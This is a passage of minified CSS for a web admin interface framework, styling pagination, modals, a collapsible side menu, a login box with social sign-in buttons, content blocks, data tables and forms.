.25rem;vertical-align:bottom;border-radius:.1rem;text-decoration:none;background:#fff}.ub-page .pages a.page:hover{color:var(--color-primary)}.ub-page .pages span.current{color:#fff;background:var(--color-primary)}.ub-page .pages span.more{background:0 0;color:inherit}.ub-page .pages .jumpBox{position:relative;border:.05rem solid #ccc;border-radius:.1rem;padding:0}.ub-page .pages .jumpBox input{width:4em;line-height:1rem;outline:0;margin:0;float:left;border:none;text-align:center;height:1rem}.ub-page .pages .jumpBox button{width:4em;background:#fff;margin:0;right:0;float:left;border:none;border-left:.05rem dotted #ccc;outline:0}.ub-paginate-mobile{display:flex;position:relative;overflow:hidden;flex-direction:row;justify-content:center;align-items:center}.ub-paginate-mobile__btn{display:flex;width:30%;height:30px;line-height:30px;font-size:var(--font-size);position:relative;background-color:#eee;flex-direction:row;justify-content:center;align-items:center;text-align:center;border-width:1px;border-style:solid;border-color:#eee;cursor:pointer;border-radius:.2rem}.ub-paginate-mobile__child-btn{display:flex;font-size:var(--font-size);position:relative;flex-direction:row;justify-content:center;align-items:center;text-align:center}.ub-paginate-mobile__num{display:flex;flex:1;flex-direction:row;justify-content:center;align-items:center;height:30px;line-height:30px;font-size:var(--font-size);color:#111}.ub-paginate-mobile__num-page{display:flex;flex-direction:row}.ub-paginate-mobile__num-page-text{font-size:var(--font-size)}.ub-paginate-mobile__num-page-text.current{color:var(--color-primary)}.ub-paginate-mobile--enabled{color:#333;opacity:1}.ub-paginate-mobile--disabled{opacity:.3;color:#c4cfdb;cursor:not-allowed}.ub-paginate-mobile--hover{color:#fff;background-color:var(--color-primary)}.ub-panel{background:var(--color-content-bg);border-radius:var(--size-radius);margin-bottom:var(--size-margin)}.ub-panel.border-top{border-top:2px solid var(--color-primary)}.ub-panel.border-top .head{border-bottom:1px solid #eee}.ub-panel.border-top .head .title{border-left:none;padding-left:0}.ub-panel.margin-top{margin-top:1rem}.ub-panel.transparent{background:0 0}.ub-panel.transparent .head{padding:0 0 .25rem 0}.ub-panel.transparent .body{padding:.75rem 0 0 0}.ub-panel .head{padding:.75rem}.ub-panel .head .more{float:right}.ub-panel .head .title{display:inline-block;line-height:1rem;font-size:var(--font-size-medium)}.ub-panel .head .title .ub-breadcrumb{height:1rem}.ub-panel .head .title .ub-breadcrumb a{line-height:1rem}.ub-panel .body{margin-top:-.75rem;padding:.75rem}.ub-modal{display:block;visibility:hidden;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1010;overflow-y:auto;-webkit-overflow-scrolling:touch;background:rgba(0,0,0,.6);opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear;touch-action:cross-slide-y pinch-zoom double-tap-zoom}.ub-modal.ub-disable-animate{-webkit-transition:none;transition:none}.ub-modal.ub-disable-animate .ub-modal-dialog{-webkit-transition:none;transition:none}.ub-modal.ub-open{opacity:1;display:block;visibility:visible}.ub-modal-dialog{position:relative;box-sizing:border-box;margin:2.5rem auto;padding:.5rem;width:30rem;max-width:100%;max-width:calc(100% - 1rem);background:#fff;opacity:0;-webkit-transform:translateY(-100px);transform:translateY(-100px);-webkit-transition:opacity .3s linear,-webkit-transform .3s ease-in-out;transition:opacity .3s linear,transform .3s ease-in-out;border-radius:3px;box-shadow:0 0 .5rem rgba(0,0,0,.3)}@media (max-width:40rem){.ub-modal-dialog{width:auto;margin:.5rem auto}}.ub-open .ub-modal-dialog{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}.ub-modal-dialog>.ub-modal-close{margin:0;float:right;color:#c4cfdb}.ub-modal-dialog>.ub-modal-close:hover{color:var(--color-primary)}.ub-modal-dialog>.ub-modal-head{border-bottom:1px solid #eee;padding:0 0 .5rem 0}.ub-modal-dialog>.ub-modal-body{padding:.5rem 0}.ub-modal-dialog>.ub-modal-foot{padding:.5rem 0 0 0;text-align:right;border-top:1px solid #eee}:root{--panel-menu-width:10rem;--panel-menu-font-size:0.7rem;--panel-menu-logo-font-size:1rem;--panel-menu-logo-color:var(--color-primary);--panel-menu-background:#00101C;--panel-menu-text-color:#FFF;--panel-menu-text-color-hover:#FFF;--panel-menu-active-background:var(--color-primary);--panel-menu-active-color:#FFF;--panel-menu-active-border-color:var(--color-primary);--panel-menu-search-background:#444;--panel-menu-search-color:#EEE;--panel-menu-scrollbar-background:#111;--panel-menu-page-tab-scrollbar-background:var(--color-primary);--panel-menu-arrow-color:#999}[data-theme=light]{--panel-menu-logo-color:var(--color-primary);--panel-menu-background:#FFF;--panel-menu-text-color:#333;--panel-menu-text-color-hover:var(--color-primary);--panel-menu-active-background:var(--color-primary-light-bg);--panel-menu-active-color:var(--color-primary);--panel-menu-active-border-color:var(--color-primary);--panel-menu-search-background:#EEE;--panel-menu-search-color:#111;--panel-menu-search-tip-color:#999;--panel-menu-scrollbar-background:#CCC;--panel-menu-page-tab-scrollbar-background:var(--color-primary);--panel-menu-arrow-color:#999}.ub-panel-frame{text-align:left}.ub-panel-frame .left-menu-shrink{display:none}.ub-panel-frame .left{position:fixed;left:0;width:var(--panel-menu-width);top:0;bottom:0;background:var(--panel-menu-background);overflow:hidden;z-index:2000;transition:all .2s linear;outline:1px solid #eee}.ub-panel-frame .left .logo{height:2.25rem;line-height:2.25rem;color:var(--panel-menu-text-color);font-size:var(--panel-menu-logo-font-size);display:block;text-align:left;padding:0 .75rem;transition:all .2s linear}.ub-panel-frame .left .logo .img{width:2.25rem;height:2.25rem;display:inline-block;vertical-align:top}.ub-panel-frame .left .logo .icon{display:inline-block;width:auto;height:2.25rem;text-align:center;color:var(--panel-menu-logo-color)}.ub-panel-frame .left .menu{background:var(--panel-menu-background);position:fixed;top:2.25rem;left:0;width:var(--panel-menu-width);bottom:0;overflow:auto;transition:all .2s linear}.ub-panel-frame .left .menu.moving{cursor:grab}.ub-panel-frame .left .menu.moving *{cursor:grab}.ub-panel-frame .left .menu mark{color:red;background:0 0}.ub-panel-frame .left .menu [data-keywords-filter=hide],.ub-panel-frame .left .menu [data-keywords-item=hide]{display:none!important}.ub-panel-frame .left .menu [data-keywords-item=show]{display:block!important}.ub-panel-frame .left .menu .menu-search-container{width:100%;height:2.5rem;position:relative;overflow:hidden;padding:.5rem .75rem}.ub-panel-frame .left .menu .menu-search-container input{height:1.5rem;background:var(--panel-menu-search-background);border:none;font-size:.65rem;width:100%;color:var(--panel-menu-search-color);padding-left:1.5rem;border-radius:1rem}.ub-panel-frame .left .menu .menu-search-container input::-webkit-input-placeholder{color:var(--panel-menu-search-tip-color);font-size:.65rem}.ub-panel-frame .left .menu .menu-search-container input::-moz-placeholder{color:var(--panel-menu-search-tip-color);font-size:.65rem}.ub-panel-frame .left .menu .menu-search-container input::-ms-input-placeholder{color:var(--panel-menu-search-tip-color);font-size:.65rem}.ub-panel-frame .left .menu .menu-search-container i{display:block;position:absolute;z-index:1000;left:.5rem;top:.25rem;height:2rem;line-height:2rem;width:2.25rem;text-align:center;color:var(--panel-menu-search-color);font-size:.65rem}.ub-panel-frame .left .menu::-webkit-scrollbar-track{background:0 0}.ub-panel-frame .left .menu::-webkit-scrollbar{width:1px;height:1px}.ub-panel-frame .left .menu::-webkit-scrollbar-thumb{background:var(--panel-menu-scrollbar-background)}.ub-panel-frame .left .menu>.menu-item .title{padding-left:.75rem}.ub-panel-frame .left .menu>.menu-item .children>.menu-item .title{padding-left:1.8rem}.ub-panel-frame .left .menu>.menu-item .children>.menu-item .children>.menu-item .title{padding-left:2.3rem;font-size:var(--font-size-small);padding-right:.5rem}.ub-panel-frame .left .menu .menu-item.active:not(:has(.children)){background:var(--panel-menu-active-background);color:var(--panel-menu-active-color);border-right:3px solid var(--panel-menu-active-border-color)}.ub-panel-frame .left .menu .menu-item.active>.title{color:var(--panel-menu-active-color)}.ub-panel-frame .left .menu .menu-item .title{line-height:2.3rem;display:block;position:relative;overflow:hidden;padding-right:1rem;white-space:nowrap;text-overflow:ellipsis;font-size:var(--panel-menu-font-size);color:var(--panel-menu-text-color)}.ub-panel-frame .left .menu .menu-item .title:hover{color:var(--panel-menu-text-color-hover)}.ub-panel-frame .left .menu .menu-item .title .icon{display:inline-block;width:1.2em}.ub-panel-frame .left .menu .menu-item .title .arrow{width:0;height:0;display:block;border:.215rem solid var(--panel-menu-arrow-color);border-color:transparent transparent transparent var(--panel-menu-arrow-color);position:absolute;right:.5rem;top:.8rem;transition:all .2s linear;transform-origin:25% 50% 0;transform:rotateZ(90deg)}.ub-panel-frame .left .menu .menu-item .title.open .arrow{transform:rotateZ(-90deg)}.ub-panel-frame .left .menu .menu-item .title.open+.children{max-height:1000px;transition:max-height .2s ease-in}.ub-panel-frame .left .menu .menu-item .children{display:block;max-height:0;overflow:hidden;transition:max-height .2s ease-out}.ub-panel-frame .right{position:fixed;left:var(--panel-menu-width);right:0;top:0;bottom:0;transition:all .2s linear}.ub-panel-frame .right .top{height:2.25rem;background:#fff;border-bottom:.05rem solid #eee;transition:.5s;text-align:left;display:flex}.ub-panel-frame .right .top .right-menu-trigger{display:none}.ub-panel-frame .right .top .left-action,.ub-panel-frame .right .top .left-trigger{display:inline-block;line-height:2.25rem;padding:0 .5rem;color:#c4cfdb;font-size:var(--font-size-large);vertical-align:middle;transition:all .2s linear}.ub-panel-frame .right .top .left-action:hover,.ub-panel-frame .right .top .left-trigger:hover{color:var(--color-primary)}.ub-panel-frame .right .top .menu{vertical-align:middle;flex-grow:1;overflow-y:hidden;overflow-x:auto;white-space:nowrap}.ub-panel-frame .right .top .menu.moving{cursor:grab}.ub-panel-frame .right .top .menu.moving *{cursor:grab}.ub-panel-frame .right .top .menu::-webkit-scrollbar-track{background:0 0}.ub-panel-frame .right .top .menu::-webkit-scrollbar{width:1px;height:1px}.ub-panel-frame .right .top .menu::-webkit-scrollbar-thumb{background:var(--panel-menu-page-tab-scrollbar-background)}.ub-panel-frame .right .top .menu a{line-height:2.1rem;color:#333;padding:0 .5rem;display:inline-block;border-top:.1rem solid #fff;text-decoration:none;transition:none}.ub-panel-frame .right .top .menu a .close{color:var(--color-tertiary)}.ub-panel-frame .right .top .menu a .close:hover{background-color:red;border-radius:50%;color:#fff}.ub-panel-frame .right .top .menu a.active{border-color:var(--color-primary);color:var(--color-primary);background-color:#edefff}.ub-panel-frame .right .top .menu a.active:before{content:'';background-color:var(--color-primary);width:6px;height:6px;display:inline-block;border-radius:50%;vertical-align:middle;margin-top:-2px;margin-right:4px}.ub-panel-frame .right .top .menu a:hover{color:var(--color-primary)}.ub-panel-frame .right .top .menu-right{padding-right:1rem;flex-shrink:0}.ub-panel-frame .right .top .menu-right .menu-item{display:inline-block;position:relative}.ub-panel-frame .right .top .menu-right .menu-item .title{line-height:2.25rem;color:#111;padding:0 .5rem;display:inline-block}.ub-panel-frame .right .top .menu-right .menu-item .title:hover{color:var(--color-primary)}.ub-panel-frame .right .top .menu-right .menu-item .dropdown{display:none;position:absolute;background:#fff;padding:0 .25rem;box-shadow:0 0 5px #ccc;border-radius:3px;z-index:1000;right:0;top:2.25rem}.ub-panel-frame .right .top .menu-right .menu-item .dropdown .dropdown-item{display:block;white-space:nowrap;height:2rem;line-height:2rem;padding:0 .5rem;color:#111}.ub-panel-frame .right .top .menu-right .menu-item .dropdown .dropdown-item:hover{color:var(--color-primary)}.ub-panel-frame .right .top .menu-right .menu-item:hover .dropdown{display:block}.ub-panel-frame .right .content.fixed{position:fixed;top:2.25rem;bottom:0;left:var(--panel-menu-width);right:0;overflow:auto;transition:all .2s linear;padding:.5rem}.ub-panel-frame .right .content-fixed-bottom-toolbox{position:fixed;bottom:0;right:0;left:var(--panel-menu-width);background:#fff;padding:.5rem;box-shadow:0 0 4px #ccc;z-index:1000;transition:all .2s linear}.ub-panel-frame .right .content-fixed-bottom-toolbox-placeholder{height:2rem;clear:both;overflow:hidden}[data-page-is-tab] .content-fixed-bottom-toolbox{position:fixed;bottom:0;right:0;left:0;background:#fff;padding:.5rem;box-shadow:0 0 4px #ccc;z-index:1000;transition:all .2s linear}[data-page-is-tab] .content-fixed-bottom-toolbox-placeholder{height:2rem;clear:both;overflow:hidden}@media (min-width:40rem){.ub-panel-frame{overflow:hidden}.ub-panel-frame.left-toggle .left:not(:hover){width:2.25rem}.ub-panel-frame.left-toggle .left:not(:hover) .logo{padding:0}.ub-panel-frame.left-toggle .left:not(:hover) .logo .icon{font-size:var(--font-size-large);width:2.25rem}.ub-panel-frame.left-toggle .left:not(:hover) .logo .text{display:none}.ub-panel-frame.left-toggle .left:not(:hover) .menu{width:2.25rem}.ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-search-container{display:none}.ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title{text-overflow:initial;padding:0;text-align:center}.ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title .icon{text-align:center}.ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title .arrow{display:none}.ub-panel-frame.left-toggle .left:not(:hover) .menu .menu-item .title .text{display:none}.ub-panel-frame.left-toggle .right{left:2.25rem}.ub-panel-frame.left-toggle .right .top .left-trigger{transform:rotateZ(90deg)}.ub-panel-frame.left-toggle .right .content.fixed{left:2.25rem}.ub-panel-frame.left-toggle .right .content-fixed-bottom-toolbox{left:2.25rem}}@media (max-width:40rem){.ub-panel-frame.left-toggle .left-menu-shrink{display:block}.ub-panel-frame.left-toggle .left{left:0}.ub-panel-frame.left-toggle .left .menu{left:0}.ub-panel-frame.left-toggle .right{left:0}.ub-panel-frame.left-toggle .right .content.fixed{left:0}.ub-panel-frame .left-menu-shrink{display:none;position:fixed;background:rgba(0,0,0,.5);top:0;left:0;right:0;bottom:0;z-index:1999}.ub-panel-frame .left{left:calc(0rem - var(--panel-menu-width))}.ub-panel-frame .left .menu{left:calc(0rem - var(--panel-menu-width))}.ub-panel-frame .right{left:0}.ub-panel-frame .right .top .right-menu-trigger{display:block;float:right;height:2.25rem;width:2.25rem;line-height:2.25rem;text-align:center;color:#c4cfdb;font-size:var(--font-size-large);transition:all .2s linear}.ub-panel-frame .right .top .right-menu-trigger:hover{transform:rotateZ(90deg)}.ub-panel-frame .right .top .right-menu-trigger:hover+.menu-right{display:flex}.ub-panel-frame .right .top .menu-right{width:5rem;background:#fff;position:fixed;top:2.25rem;right:0;border:#fff;z-index:1000;border-radius:0 0 .2rem .2rem;box-shadow:0 0 3px #eee;padding-right:0;display:none;flex-wrap:wrap}.ub-panel-frame .right .top .menu-right:hover{display:flex}.ub-panel-frame .right .top .menu-right .menu-item{flex-grow:1}.ub-panel-frame .right .top .menu-right .menu-item .title{color:#111;display:block}.ub-panel-frame .right .top .menu-right .menu-item .dropdown{display:block;position:static;box-shadow:none;border-radius:0}.ub-panel-frame .right .top .menu-right .menu-item .dropdown .dropdown-item{padding:0 .25rem}.ub-panel-frame .right .content.fixed{left:0}.ub-panel-frame .right .content-fixed-bottom-toolbox{left:0}}.ub-panel-dialog{position:relative}.ub-panel-dialog.no-foot .panel-dialog-body{bottom:0}.ub-panel-dialog .panel-dialog-body{position:fixed;top:0;left:0;right:0;bottom:2.5rem;padding:.5rem;overflow:auto}.ub-panel-dialog .panel-dialog-foot{position:fixed;bottom:0;right:0;left:0;text-align:right;padding:.5rem;height:2.5rem;box-sizing:border-box;background:#fff;z-index:1000;box-shadow:0 0 10px #eee;animation:fadein 1s ease 0s normal forwards 1;-webkit-animation:fadein 1s ease 0s normal forwards 1;opacity:0}.ub-panel-dialog .panel-dialog-foot.left{text-align:left}@keyframes fadein{0%{opacity:0}66%{opacity:0}100%{opacity:1}}@-webkit-keyframes fadein{0%{opacity:0}66%{opacity:0}100%{opacity:1}}.ub-account{min-height:calc(100vh - 240px);padding:2rem}.ub-account .box{background:#fff;max-width:40rem;box-shadow:0 0 .3rem rgba(0,0,0,.1);box-sizing:border-box;border-radius:var(--size-radius);padding:1rem 0;margin:0 auto;text-align:center}.ub-account .box.wide{max-width:34rem;width:34rem}.ub-account .box .logo{text-align:center}.ub-account .box .logo a{display:inline-block;text-decoration:none}.ub-account .box .logo a img{height:2rem;vertical-align:middle}.ub-account .box .nav{font-size:var(--font-size-large);color:#c4cfdb;margin-top:1rem}.ub-account .box .nav a{color:#c4cfdb;text-decoration:none;font-size:var(--font-size-large)}.ub-account .box .nav a.active{color:var(--color-primary)}.ub-account .box .ub-form{padding:1.5rem 1.5rem 0 1.5rem}.ub-account .box .ub-form .line .field .help{text-align:left}.ub-account .oauth{padding-top:1rem;text-align:center;color:#c4cfdb}.ub-account .oauth .title{border-top:1px solid #e9edf0;margin:0 2rem}.ub-account .oauth .title .line{width:3rem;background:#fff;display:block;margin:0 auto;line-height:1rem;margin-top:-.5rem}.ub-account .oauth .body{padding:1rem 0}.ub-account .oauth a{display:inline-block;width:2rem;height:2rem;background:#c4cfdb;color:#fff;border-radius:50%;text-align:center;margin:.1rem;text-decoration:none}.ub-account .oauth a:hover{box-shadow:0 0 5px rgb(0 0 0%)}.ub-account .oauth a i{font-size:1rem;line-height:2rem}.ub-account .oauth a.qq{background:#498ad5}.ub-account .oauth a.qq:hover{background:#2c70bf}.ub-account .oauth a.weibo{background:#e05244}.ub-account .oauth a.weibo:hover{background:#cf3222}.ub-account .oauth a.wechat{background:#00bb29}.ub-account .oauth a.wechat:hover{background:#00881e}.ub-account .retrieve{text-align:center;color:#c4cfdb;margin-top:1rem}@media (max-width:800px){.ub-account{padding:0;min-height:100vh}.ub-account .box{margin:0 auto;max-width:20rem;box-shadow:none}.ub-account .box.wide{width:auto}}.ub-content{margin-bottom:.5rem;background-size:cover;background-position:center;background-repeat:no-repeat}.ub-content .head{padding:.5rem 0}.ub-content .head .title{font-size:1.5rem;font-weight:500;color:var(--color-text);text-align:center}.ub-content .head .sub-title{font-size:.8rem;text-align:center;color:var(--color-text);margin-top:1rem}.ub-content .body{padding:.5rem 0}.ub-content .foot{padding:.5rem 0;text-align:center}.ub-content .item-basic .h1{font-size:1.5rem}.ub-content .item-basic .h2{font-size:1rem}.ub-content .item-basic .h3{font-size:.8rem}.ub-content .item-basic .text-white{color:#fff}.ub-content .item-basic .width-narrow{max-width:600px}.ub-content .item-basic .margin-auto{margin:0 auto}.ub-content .item-a{text-align:center;display:block;padding:1rem 0;line-height:1.5;text-decoration:none;width:100%;margin-bottom:.5rem}.ub-content .item-a:hover .icon,.ub-content .item-a:hover .image{transform:scale(1.1)}.ub-content .item-a .icon{font-size:3rem;line-height:3rem;height:3rem;text-align:center;display:block;transition:all .1s linear}.ub-content .item-a .image{width:60%;margin:0 auto;outline:0;transition:all .1s linear}.ub-content .item-a .title{height:2rem;line-height:1rem;overflow:hidden;padding-top:1rem;text-overflow:ellipsis;white-space:nowrap;font-size:.9rem;font-weight:500;color:var(--color-text)}.ub-content .item-a .slogan{color:#c4cfdb;line-height:1rem;height:2rem;padding-top:1rem;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ub-content .item-b{border-radius:.25rem;background:#fff;width:100%;overflow:hidden;box-shadow:0 0 .5rem #eee;text-align:center;padding:1rem;margin-bottom:.5rem}.ub-content .item-b .title{height:2rem;line-height:1rem;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:1rem;font-weight:600;color:var(--color-text);padding:1rem 0 0 0}.ub-content .item-b .slogan{font-size:.8rem;color:var(--color-text);text-align:center;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;padding:1rem 0 0 0}.ub-content .item-b .desc{font-size:.7rem;color:#8a889a;line-height:1.25rem;text-align:center;display:block;padding:1rem 0 0 0;width:80%;margin:0 auto}.ub-content .item-b .image{border-top:.05rem dashed #eee;margin:0 -1rem 0 -1rem;padding:1rem 1rem 0 1rem;margin-top:1rem}.ub-content .item-c{text-align:center;display:block;padding:1rem;line-height:1.5;border-radius:.2rem;text-decoration:none;width:100%}.ub-content .item-c .image{width:60%;margin:0 auto;outline:0;transition:linear all .2s}.ub-content .item-c .image:hover{transform:scale(1.1)}.ub-content .item-c .title{height:2rem;line-height:1rem;overflow:hidden;padding-top:1rem;text-overflow:ellipsis;white-space:nowrap;font-size:.9rem;font-weight:500;color:var(--color-text)}.ub-content .item-d{border-radius:.25rem;background:#fff;width:100%;overflow:hidden;box-shadow:0 0 .5rem #eee;padding:1rem;margin-bottom:.5rem}.ub-content .item-d .logo{float:right;width:30%;height:2rem;overflow:hidden}.ub-content .item-d .title{height:2rem;line-height:1rem;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;padding:.5rem 0 0 0;font-size:.9rem;font-weight:500;color:#1e2844}.ub-content .item-d .desc{border-top:.05rem dashed #eee;margin:1rem 0 0 0;font-size:.7rem;color:#8a889a;line-height:1.25rem;display:block;padding:1rem 0 0 0;height:10rem;overflow:hidden}.ub-content .item-d .desc:before{content:"“";font-size:2.5rem;line-height:1.5rem;color:#1f2841;display:block;text-align:left}.ub-content .item-d .desc:after{content:"”";font-size:2.5rem;line-height:1.5rem;color:#1f2841;display:block;text-align:right}.ub-content .item-e{overflow:hidden}.ub-content .item-e:nth-child(even) .image{float:right}.ub-content .item-e:nth-child(even) .text{float:right}.ub-content .item-e .image{float:left;width:50%;padding:1rem 0}.ub-content .item-e .image .cover{width:80%;margin:0 auto;transition:all linear .2s}.ub-content .item-e .image .cover:hover{transform:translateY(-.5rem)}.ub-content .item-e .text{float:left;width:50%;padding:1rem 3rem}.ub-content .item-e .text .title{color:#12263c;font-weight:700;font-size:1rem}.ub-content .item-e .text .sub-title{font-size:.8rem;color:var(--color-primary);margin-top:1rem;font-weight:700}.ub-content .item-e .text .desc{font-size:.7rem;color:#00133b;line-height:1rem;margin-top:1rem}.ub-content .item-e .text .desc p{margin:0;padding:0;line-height:1.2rem;color:#c4cfdb}@media screen and (max-width:40rem){.ub-content .item-e .image{float:none!important;width:auto!important;padding:0!important}.ub-content .item-e .text{float:none!important;width:80%!important;padding:0!important;margin:0 auto!important}}.ub-content .panel-a{color:#fff;padding:2rem;text-align:left}.ub-content .panel-a .box{max-width:var(--container-width);margin:0 auto}.ub-content .panel-a .box .title{font-size:1.8rem;line-height:2rem}.ub-content .panel-a .box .sub-title{margin-top:.8rem;font-size:var(--font-size-medium)}.ub-content .panel-b{color:#fff;padding:1.5rem;text-align:left;position:relative;overflow:hidden}.ub-content .panel-b .bg,.ub-content .panel-b .mask{position:absolute;left:0;top:0;bottom:0;right:0;background-size:cover;background-position:center}.ub-content .panel-b .bg{filter:blur(1rem)}.ub-content .panel-b .mask{background:rgba(0,0,0,.5)}.ub-content .panel-b .box{position:relative;text-align:left;max-width:var(--container-width);margin:0 auto}.ub-content .panel-b .box .c{display:flex;align-items:center}.ub-content .panel-b .box .c .c1{width:7rem;flex-shrink:0}.ub-content .panel-b .box .c .c1 .cover{margin-bottom:0;border-radius:.5rem}.ub-content .panel-b .box .c .c2{padding-left:1rem}.ub-content .panel-b .title{font-size:1.2rem}.ub-content .panel-b .sub-title{margin-top:.8rem;font-size:var(--font-size-medium)}.ub-content .panel-b .sub-title a{color:#fff}@media screen and (max-width:40rem){.ub-content .panel-a{text-align:center}.ub-content .panel-b{padding:1rem}.ub-content .panel-b .box .c{display:block;text-align:center}.ub-content .panel-b .box .c .c1{width:auto}.ub-content .panel-b .box .c .c2{padding-left:0;margin-top:1rem}}.ub-lister-bottom{overflow:hidden;text-align:left}.ub-lister-bottom .right{float:right}.ub-lister-batch{overflow:hidden;position:relative}.ub-lister-batch .text{display:block;margin:0 .5rem .5rem 0;float:left;line-height:28px}.ub-lister-search .field-more-expand{display:none}.ub-lister-search .field-more-expand__active{display:block}.ub-lister-search .field{display:inline-flex;margin:0 .5rem .5rem 0;min-width:9rem}.ub-lister-search .field.auto{min-width:auto}.ub-lister-search .field.right{float:right;margin-right:0}.ub-lister-search .field.full{width:100%}.ub-lister-search .field .btn+.btn{margin-left:.2rem}.ub-lister-search .field .btn-group .btn+.btn{margin:0}.ub-lister-search .field .name{display:inline-block;vertical-align:top;line-height:1.5rem;margin-right:.25rem;min-width:1.4rem}.ub-lister-search .field .input{display:inline-block;vertical-align:middle;flex-grow:1}.ub-lister-search .field .input input[type=text]{width:100%}.ub-lister-search .field .connector,.ub-lister-search .field .unit{display:inline-block;color:#c4cfdb}.ub-lister-search .field label{border:.05rem solid #eee;border-radius:.15rem;padding:0 .5rem;line-height:1.5rem;height:1.6rem;vertical-align:middle;background:#fff;margin-bottom:0}.ub-lister-search .field label input{vertical-align:middle}.ub-lister-search .field .el-checkbox{margin-right:.5rem;margin-bottom:0}.ub-lister-search .field .el-checkbox:last-child{margin-right:0}.ub-lister-search .full{overflow:hidden}.ub-lister-search .more{float:right}.ub-lister-search .search{clear:both}.ub-lister-search .batch{position:absolute;right:.5rem;bottom:.5rem}.ub-lister-search .batch-tr{position:absolute;right:.5rem;top:.5rem}.ub-lister-table,.ub-table{--table-border-color:#EEE;width:100%;border-collapse:separate;border-spacing:0;text-align:left;font-size:var(--font-size,.65rem);border-radius:.25rem}.ub-lister-table.mini,.ub-table.mini{font-size:12px}.ub-lister-table.mini>tbody>tr>td,.ub-lister-table.mini>thead>tr>th,.ub-lister-table.mini>tr>td,.ub-table.mini>tbody>tr>td,.ub-table.mini>thead>tr>th,.ub-table.mini>tr>td{font-size:12px;padding:.2rem}.ub-lister-table.list>tbody>tr>td,.ub-lister-table.list>thead>tr>th,.ub-lister-table.list>tr>td,.ub-table.list>tbody>tr>td,.ub-table.list>thead>tr>th,.ub-table.list>tr>td{padding:5px;line-height:1.2em}.ub-lister-table.border,.ub-table.border{border:1px solid var(--table-border-color)}.ub-lister-table.border>:last-child>tr:last-child>td,.ub-table.border>:last-child>tr:last-child>td{border-bottom:none}.ub-lister-table.border-all,.ub-table.border-all{border:1px solid var(--table-border-color)}.ub-lister-table.border-all>tbody>tr>td,.ub-lister-table.border-all>thead>tr>th,.ub-table.border-all>tbody>tr>td,.ub-table.border-all>thead>tr>th{border-bottom:1px solid var(--table-border-color);border-right:1px solid var(--table-border-color)}.ub-lister-table.border-all>:last-child>tr:last-child>td,.ub-table.border-all>:last-child>tr:last-child>td{border-bottom:none}.ub-lister-table.head-dark>thead>tr>th,.ub-table.head-dark>thead>tr>th{background:#f5f7fa}.ub-lister-table.hover>tbody>tr:hover>td:not(.no-hover),.ub-table.hover>tbody>tr:hover>td:not(.no-hover){background:#f4f8fb}.ub-lister-table>tbody>tr>td,.ub-lister-table>tfoot>tr>td,.ub-lister-table>thead>tr>th,.ub-lister-table>tr>td,.ub-table>tbody>tr>td,.ub-table>tfoot>tr>td,.ub-table>thead>tr>th,.ub-table>tr>td{padding:.5rem;line-height:20px}.ub-lister-table>thead>tr,.ub-table>thead>tr{display:table-row}.ub-lister-table>thead>tr>th,.ub-table>thead>tr>th{border-bottom:2px solid var(--table-border-color);color:var(--color-text)}.ub-lister-table>tbody>tr,.ub-table>tbody>tr{display:table-row}.ub-lister-table>tbody>tr.muted .muted-content,.ub-table>tbody>tr.muted .muted-content{opacity:.5}.ub-lister-table>tbody>tr.checked>td,.ub-table>tbody>tr.checked>td{background:#fed493}.ub-lister-table>tbody>tr.focus>td,.ub-table>tbody>tr.focus>td{background:#f4f8fb}.ub-lister-table>tbody>tr.empty>td,.ub-table>tbody>tr.empty>td{text-align:center;color:#c4cfdb;line-height:100px}.ub-lister-table>tbody>tr .pointer,.ub-lister-table>tbody>tr.pointer,.ub-table>tbody>tr .pointer,.ub-table>tbody>tr.pointer{cursor:pointer}.ub-lister-table>tbody>tr>td,.ub-table>tbody>tr>td{border-bottom:1px solid var(--table-border-color);font-size:var(--font-size,.65rem)}.ub-lister-table .tag-group,.ub-table .tag-group{padding:0 0 .5em 7em;overflow:hidden;font-size:12px}.ub-lister-table .tag-group .label,.ub-table .tag-group .label{float:left;margin-left:-7em;display:block;width:6em;text-align:center}.ub-lister-table .tag,.ub-table .tag{border:1px solid #eee;display:inline-block;line-height:20px;border-radius:3px;padding:0 3px;background:#eee;color:#666;margin-right:3px;font-size:12px;white-space:nowrap}.ub-lister-table .page,.ub-table .page{text-align:center}.ub-lister-table .page .el-pagination,.ub-table .page .el-pagination{margin-top:.5rem}.ub-lister-table .el-cell,.ub-table .el-cell{padding:0}.ub-lister-table .el-cell .cell,.ub-table .el-cell .cell{padding:5px .5rem}.ub-lister-table .el-cell .cell .el-checkbox,.ub-table .el-cell .cell .el-checkbox{margin:0}.ub-lister-table .el-header-cell,.ub-table .el-header-cell{padding:0;background:#f8f8f8}.ub-lister-table .el-header-cell .cell,.ub-table .el-header-cell .cell{padding:5px .5rem;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ub-lister-table .el-checkbox,.ub-table .el-checkbox{margin-bottom:0}.ub-lister-action{display:inline-block;margin-right:.5rem;color:var(--color-link);line-height:26px;cursor:pointer}.ub-lister-action:last-child{margin-right:0}.ub-lister-action.clicked{color:var(--color-link-light)}.ub-lister-action:hover{color:var(--color-link-light)}.ub-lister-action.danger{color:#f5222d}.ub-lister-action.danger.clicked{color:#fcb4b8}.ub-lister-action.danger:hover{color:#79050b}.ub-lister-action.disabled{color:#c4cfdb}.ub-lister-fix-foot-placeholder{height:53px}.ub-lister-fix-foot{position:fixed;bottom:0;left:0;right:0;border-top:1px solid #eee;background:#fff;padding:.5rem;z-index:1000;overflow:hidden}.ub-lister-fix-foot .right{float:right}.ub-form{font-size:var(--font-size)}.ub-form.view .line .field{border-bottom:.05rem solid #eee;min-height:1.5rem}.ub-form.vertical .line{padding-left:0;padding-right:0;margin:0}.ub-form.vertical .line .label{float:none;display:block;text-align:left;margin-left:0;width:100%}.ub-form.wide .line{padding-left:8rem}.ub-form.wide .line .label{width:7.5rem;margin-left:-7.5rem}.ub-form.wide-lg .line{padding-left:12rem}.ub-form.wide-lg .line .label{width:11.5rem;margin-left:-11.5rem}.ub-form .line{padding:.25rem 1.5rem .25rem 